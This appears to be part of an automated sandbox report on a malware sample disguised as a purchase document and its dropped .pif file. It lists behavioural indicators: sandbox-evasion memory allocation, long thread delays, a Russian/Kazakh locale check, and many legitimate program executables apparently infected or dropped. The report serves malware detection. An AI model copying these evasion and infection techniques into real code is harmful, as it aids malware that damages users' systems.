Source: C:\Users\Public\Libraries\ymafvvdS.pif	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Allocates many large memory junks

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Memory allocated: 2B10000 memory commit 500006912	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Memory allocated: 2B11000 memory commit 500178944	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Memory allocated: 2B3D000 memory commit 500002816	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Memory allocated: 2B3E000 memory commit 500350976	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Memory allocated: 2B94000 memory commit 501014528	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Memory allocated: 2C8C000 memory commit 500006912	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Memory allocated: 2C8E000 memory commit 500015104	Jump to behavior

Contains functionality to behave differently if execute on a Russian/Kazak computer

Source: C:\Windows\System32\alg.exe	Code function: 12_2_004A52A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	12_2_004A52A0
Source: C:\Windows\System32\AppVClient.exe	Code function: 17_2_00B852A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	17_2_00B852A0
Source: C:\Windows\System32\FXSSVC.exe	Code function: 24_2_004F52A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	24_2_004F52A0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 25_2_008952A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	25_2_008952A0
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 26_2_00D252A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	26_2_00D252A0
Source: C:\Windows\System32\msdtc.exe	Code function: 27_2_00CD52A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	27_2_00CD52A0
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Code function: 28_2_007552A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	28_2_007552A0
Source: C:\Windows\System32\Locator.exe	Code function: 30_2_005452A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	30_2_005452A0
Source: C:\Windows\System32\SensorDataService.exe	Code function: 31_2_007352A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	31_2_007352A0

Source: C:\Users\Public\Libraries\ymafvvdS.pif	Memory allocated: 26C50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Memory allocated: 26E30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Memory allocated: 28E30000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\Public\Libraries\ymafvvdS.pif

9_1_004019F0

Source: C:\Users\Public\Libraries\ymafvvdS.pif

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\Public\Libraries\ymafvvdS.pif	Window / User API: threadDelayed 7315	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Window / User API: threadDelayed 2503	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Window / User API: threadDelayed 491

Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\servertool.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Windows Media Player\wmpnetwk.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\7-Zip\7z.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\chrmstp.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\7-Zip\7zG.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Windows\System32\msiexec.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\keytool.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\setup.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\updater.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\kinit.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\policytool.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.ShowHelp.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\rmiregistry.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.134\elevation_service.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\pack200.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\rmid.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\7-Zip\7zFM.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\klist.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\tnameserv.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.134\notification_helper.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Windows\System32\wbengine.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Windows\System32\VSSVC.exe	Jump to dropped file
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	Jump to dropped file
